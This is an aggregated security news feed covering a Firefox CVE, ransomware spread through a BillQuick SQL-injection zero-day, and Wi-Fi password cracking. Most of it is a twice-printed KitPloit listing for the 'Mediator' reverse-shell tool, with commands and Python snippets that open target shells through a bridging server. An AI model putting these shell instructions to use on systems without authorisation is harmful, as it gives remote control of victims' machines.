Analysis for CVE-2020–16048 (Mozilla Firefox Buffer Overflow OOBR)

The vulnerability exists in compressedTexImage3D method which is part of WebGL API in firefox.Continue reading on Medium »
Read more...

Black Hat Ethical Hacking
Hackers used billing software zero-day to deploy ransomware

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Hackers used billing software zero-day to deploy ransomwarePost Views: 128
Reading Time: 1 Minute
An unknown ransomware group is exploiting a critical SQL injection bug found in the BillQuick Web Suite time and billing solution to deploy ransomware on their targets’ networks in ongoing attacks.
BQE Software, the company behind BillQuick, claims to have a 400,000 strong user base worldwide.

The vulnerability, tracked as CVE-2021-42258, can be triggered extremely easily via login requests with invalid characters (a single quote) in the username field, according to security researchers with the Huntress ThreatOps team.

This actively exploited vulnerability was patched on October 7 after Huntress Labs notified BQE Software of the bug.

However, the researchers also found eight other BillQuick zero-day vulnerabilities (i.e., CVE-2021-42344, CVE-2021-42345, CVE-2021-42346, CVE-2021-42571, CVE-2021-42572, CVE-2021-42573, CVE-2021-42741, CVE-2021-42742) also usable for initial access/code execution and ripe for abuse since they’re still waiting for a patch.
See Also: Complete Offensive Security and Ethical Hacking Course Unpatched BillQuick server used to hack engineering company“Our team was able to successfully recreate this SQL injection-based attack and can confirm that hackers can use this to access customers’ BillQuick data and run malicious commands on their on-premises Windows servers,” Huntress Labs said.

“We have been in close contact with the BQE team to notify them of this vulnerability, assess the code changes implemented in WebSuite 2021 version 22.0.9.1 and work to address multiple security concerns we raised over their BillQuick and Core offerings (more to come on these when patches are available).”

According to the researchers, since the attacks have begun, a U.S. engineering company already had its systems encrypted after a vulnerable BillQuick server was hacked and used as the initial point of access to its network.

“The actor we observed did not align with any known/large threat actor of which we are aware. It’s my personal opinion this was a smaller actor and/or group based on their behavior during exploitation and post-exploitation,” Huntress Labs security researcher Caleb Stewart told BleepingComputer.

“However, based on the issues we’ve identified/disclosed, I would expect further exploitation by others moving forward is likely. We observed the activity over Columbus Day weekend (08-10 October 2021).”
See Also: Apple Pay with VISA lets hackers force payments on locked iPhones Active since at least May 2020The ransomware gang behind these attacks is unknown, and its operators haven’t dropped ransom notes on encrypted systems to make it easier to identify them or ask their victims to pay ransom in exchange for decryptors.

Also, it’s not clear if the ransomware is used as a decoy to cover up other malicious activity, such as data theft, or if the victims are expected to know to email the threat actor from the extension appended to encrypted files.

BleepingComputer found that the ransomware deployed by this group has been in use since at least May 2020 and it heavily borrows code from other AutoIT-based ransomware families.

Once deployed on target systems, it will add the pusheken91@bk.ru extension to all encrypted files but, as mentioned above, BleepingComputer has not seen it drop a ransom note during any known attacks.
https://www.bleepstatic.com/images/news/u/1109292/2021/Encrypted%20files.jpg
<figcaptionImage: Michael Gilles[...]

pie The attackers are likely using this approach because the appended extension itself hints at what email the victims have to use to ask for details on how to recover their data.

In August, the FBI and CISA warned organizations not to let down their defenses against ransomware attacks during weekends or holidays in a joint cybersecurity advisory.

The two federal government agencies said they “observed an increase in highly impactful ransomware attacks occurring on holidays and weekends—when offices are normally closed—in the United States, as recently as the Fourth of July holiday in 2021.”
See Also: OSINT Tool: Osintgram
See Also: Hacking stories – Operation Aurora: When China hacked Google Source: www.bleepingcomputer.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/ezgif.com-gif-maker-4-90x90.jpg Popular NPM library hijacked to install password-stealers, miners1 day ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/youtube-logo-90x90.jpg Massive campaign uses YouTube to push password-stealing malware4 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/ezgif.com-gif-maker-3-90x90.jpg Google: YouTubers’ accounts hijacked with cookie-stealing malware5 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/ezgif.com-gif-maker-2-90x90.jpg Acer hacked twice in a week by the same threat actor6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/ezgif-6-e5d8ed29a830-90x90.jpg Credit card PINs can be guessed even when covering the ATM pad1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/REVIL-headpic-90x90.jpg REvil ransomware shuts down again after Tor sites were hijacked1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/google-chrome-adblocker-uai-1440x900-1-90x90.jpg Malicious Chrome ad blocker injects ads behind the scenes2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/maxresdefault-90x90.jpg Brizy WordPress Plugin Exploit Chains Allow Full Site Takeovers2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/abstract_mysterysnail-90x90.jpg Microsoft Kills Bug Being Exploited in MysterySnail Espionage Campaign2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/apple-iphone-hacking-90x90.jpg Emergency Apple iOS 15.0.2 update fixes zero-day used in attacks2 weeks ago
The post Hackers used billing software zero-day to deploy ransomware first appeared on Black Hat Ethical Hacking.

hacking: security in practice
Learning from hackers: a dive into ad-fraudsters communities

submitted by /u/nokrah16392
[link] [comments]

Hacking on Medium
Hunt Down Social media accounts by username Across Social media . . .

https://cdn-images-1.medium.com/max/1536/1*kP8LI5S5xXel35S_Oo-POA.jpeg
The Superfast, we're going to use a python hacking tool to find social media accounts and I'll show you what 5 minutes. Here we go. Now…

Continue reading on Medium »

Hacking on Medium
¿Es seguro tu consumo en internet?

La Policía alerta del aumento de la ciberdelincuencia: «Ya es más fácil sufrir un fraude en la red que un atraco»

Continue reading on Medium »

Hacking on Medium
Principles of Security [TryHackMe]

https://cdn-images-1.medium.com/max/600/0*DCvOvWeAURPWV_qU.png
Learn the principles of information security that secures data and protects systems from abuse.

Continue reading on Medium »

Hacking on Medium
ProFTPd mod_copy Zafiyeti ve Yetki Yükseltme

https://cdn-images-1.medium.com/max/600/0*IOxgMXoj-RmYlTBb.png
ProTFPd yazılımından mod_copy modülünden yaralanıp bir takım bilgileri bilgisayarımıza aktaracağız.

Continue reading on Medium »

Mediator - An Extensible, End-To-End Encrypted Reverse Shell With A Novel Approach To Its Architecture
http://www.kitploit.com/2021/10/mediator-extensible-end-to-end.html

Architecture:
Inspired by end-to-end encrypted chat applications, Mediator takes a unique approach to the client/server model of a reverse shell. Mediator uses: A client reverse shell A client handler/operator A server that bridges the two connections Reverse shells and handlers connect to the Mediator server with a connection key. The server listens on port 80 for handler connections and port 443 for reverse shell connections. When clients connect to the mediator, the server queues the clients according to their respective type and connection key. When both a reverse shell and an operator connect to the server with the same key, the server will bridge the two connections. From there, a key exchange is done between the two clients, and all communication between the reverse shell and operator is encrypted end-to-end. This ensures the server cannot snoop on the streams it is piping.
Plugins
Plugins allow you to add extra commands that can execute code on the operator's host, the target host, or both! Please refer to the README in the plugins directory for more information about plugins.
Instructions:

Server
The client scripts can be run on Windows or Linux, but you'll need to stand up the server (mediator.py (https://github.com/lawndoc/mediator/blob/main/mediator.py)) on a Linux host. The server is pure Python, so no dependencies need to be installed. You can either run the server script with $ python3 mediator.py or you can build a Docker image with the provided Dockerfile (https://github.com/lawndoc/mediator/blob/main/Dockerfile) and run it in a container (https://www.kitploit.com/search/label/Container) (make sure to publish ports 80 and 443).
Clients
You will need to install the dependencies found in requirements.txt (https://github.com/lawndoc/mediator/blob/main/requirements.txt)) for the clients to work. You can do this with the following command: $ pip3 install -r requirements.txt See Tips and Reminders at the bottom for help on distributing the clients without worrying about dependencies. The handler and the reverse shell can be used within other Python scripts or directly via the command line. In both cases, the clients can accept arguments for the server address and connection key. Usage of those arguments is described below. Mediator server address For Python script usage, the address of the mediator host is required upon instantiation: Handler class from handler import Handler

operator = Handler(mediatorHost="example.com")
operator.run() WindowsRShell class from windowsTarget import WindowsRShell

shell = WindowsRShell(mediatorHost="example.com")
shell.run() If executing a client script directly from a shell, you can either hard code the address at the bottom of the script, or the server address can be specified as an argument with the -s or --server flag: handler.py $ python3 handler.py -s example.com windowsTarget.py python windowsTarget.py -s example.com ">> python windowsTarget.py -s example.com Connection key When two handlers or two reverse shells (https://www.kitploit.com/search/label/Reverse%20Shells) connect to the mediator server with the same connection key, only the first connection is queued awaiting its match. Until the queued connection either times out (30 seconds) or matches with a counterpart connection, all other clients of the same type trying to connect with the same connection key will be dropped. It is important to make sure each handler is using a unique connection key to avoid a race condition resulting in the wrong shell being given to an operator. Only keys with the prefix "#!ConnectionKey_" will be accepted by the server. The default connection key is "#!ConnectionKey_CHANGE_ME!!!". To change the connection key for Python script usage, the connection key can optionally be supplied upon instantiation: Handler class from handler import Handler

operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")

operator.run() LinuxRShell class from linuxTarget import LinuxRShell

shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run() If executing a client script directly from a shell, you can either hard code the connection key at the bottom of the script, or the connection key can be specified as an argument with the -c or --connection-key flag: handler.py $ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key' windowsTarget.py python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key' ">> python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'
Tips and Reminders:
REMINDER: handlers and reverse shells will not be bridged together unless they connect to the mediator server using the same connection key within 30 seconds of each other. TIP: You can easily create an exe for windowsTarget.py with pyinstaller using the --onefile flag TIP: For security, you should use a randomly generated connection key for each session. If a malicious party learns your connection key and spams the operator port with it, your operator client will be unable to connect due to the server not allowing duplicate connnections, and they will be connected to your target's shell.

Download Mediator (https://github.com/lawndoc/mediator)

KitPloit - PenTest Tools!
Mediator - An Extensible, End-To-End Encrypted Reverse Shell With A Novel Approach To Its Architecture

http://4.bp.blogspot.com/-Phxl4nLw_r8/YXL_AbX6b_I/AAAAAAAAwVU/ctQM0Lus-H4PuTKZUXwqnR-cWhZ_DG-JQCK4BGAYYCw/w640-h156/mediator_1_mediator-726718.png Mediator is an end-to-end encrypted reverse shell in which the operator and the shell connect to a "mediator" server that bridges the connections. This removes the need for the operator/handler to set up port forwarding in order to listen for the connection. Mediator also allows you to create plugins to expand the functionality of the reverse shell.

You can run Mediator's scripts as standalone executables or you can import them for integration into other pentesting and incident response tools. Architecture:Inspired by end-to-end encrypted chat applications, Mediator takes a unique approach to the client/server model of a reverse shell. Mediator uses:

1. A client reverse shell
2. A client handler/operator
3. A server that bridges the two connections

Reverse shells and handlers connect to the Mediator server with a connection key. The server listens on port 80 for handler connections and port 443 for reverse shell connections. When clients connect to the mediator, the server queues the clients according to their respective type and connection key. When both a reverse shell and an operator connect to the server with the same key, the server will bridge the two connections. From there, a key exchange is done between the two clients, and all communication between the reverse shell and operator is encrypted end-to-end. This ensures the server cannot snoop on the streams it is piping. PluginsPlugins allow you to add extra commands that can execute code on the operator's host, the target host, or both! Please refer to the README in the plugins directory for more information about plugins. Instructions:ServerThe client scripts can be run on Windows or Linux, but you'll need to stand up the server (mediator.py) on a Linux host. The server is pure Python, so no dependencies need to be installed. You can either run the server script with $ python3 mediator.pyor you can build a Docker image with the provided Dockerfile and run it in a container (make sure to publish ports 80 and 443). ClientsYou will need to install the dependencies found in requirements.txt) for the clients to work. You can do this with the following command: $ pip3 install -r requirements.txtSee Tips and Reminders at the bottom for help on distributing the clients without worrying about dependencies.

The handler and the reverse shell can be used within other Python scripts or directly via the command line. In both cases, the clients can accept arguments for the server address and connection key. Usage of those arguments is described below.

Mediator server address

For Python script usage, the address of the mediator host is required upon instantiation:

Handler class from handler import Handler

operator = Handler(mediatorHost="example.com")
operator.run()WindowsRShell class from windowsTarget import WindowsRShell

shell = WindowsRShell(mediatorHost="example.com")
shell.run()If executing a client script directly from a shell, you can either hard code the address at the bottom of the script, or the server address can be specified as an argument with the -sor --serverflag:

handler.py $ python3 handler.py -s example.comwindowsTarget.py > python windowsTarget.py -s example.comConnection key

When two handlers or two reverse shells connect to the mediator server with the same connection key, only the first connection is queued awaiting its match. Until the queued connection either times out (30 seconds) or matches with a counterpart con[...]

nection, all other clients of the same type trying to connect with the same connection key will be dropped.

It is important to make sure each handler is using a unique connection key to avoid a race condition resulting in the wrong shell being given to an operator.

Only keys with the prefix "#!ConnectionKey_" will be accepted by the server. The default connection key is "#!ConnectionKey_CHANGE_ME!!!".

To change the connection key for Python script usage, the connection key can optionally be supplied upon instantiation:

Handler class from handler import Handler

operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()LinuxRShell class from linuxTarget import LinuxRShell

shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()If executing a client script directly from a shell, you can either hard code the connection key at the bottom of the script, or the connection key can be specified as an argument with the -cor --connection-keyflag:

handler.py $ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key'windowsTarget.py > python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'Tips and Reminders:* REMINDER: handlers and reverse shells will not be bridged together unless they connect to the mediator server using the same connection key within 30 seconds of each other.
* TIP: You can easily create an exe for windowsTarget.py with pyinstaller using the --onefileflag
* TIP: For security, you should use a randomly generated connection key for each session. If a malicious party learns your connection key and spams the operator port with it, your operator client will be unable to connect due to the server not allowing duplicate connnections, and they will be connected to your target's shell. Download Mediator

Dark Reading: Attacks/Breaches
Wardrivers Can Still Easily Crack 70% of Wi-Fi Passwords

Weaknesses in the current Wi-Fi standard and poorly chosen passwords allowed one wardriver to recover 70% of wireless network passwords.